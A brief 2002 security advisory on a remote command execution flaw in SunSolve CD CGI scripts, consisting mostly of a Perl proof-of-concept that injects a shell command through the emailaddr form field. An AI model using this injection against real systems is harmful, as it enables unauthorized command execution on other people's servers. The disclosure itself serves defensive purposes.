Title 13/3/2002 SunSolve CD CGI Scripts Allows Remote Command Execution Summary SunSolve CD access CGIs allows remote attackers to cause the CGI to execute arbitrary code by inputting it a specially crafted HTTP request. Details Exploit: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qw(POST); ua = new LWP::UserAgent; $ua->agent("Scrapers"); my $req = POST 'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl', [ step => "submit" , emailaddr => "foo\@bar.com| id > /tmp/foo|"]; $res = $ua->request($req); print $res->as_string; print "code", $res->code, "\n";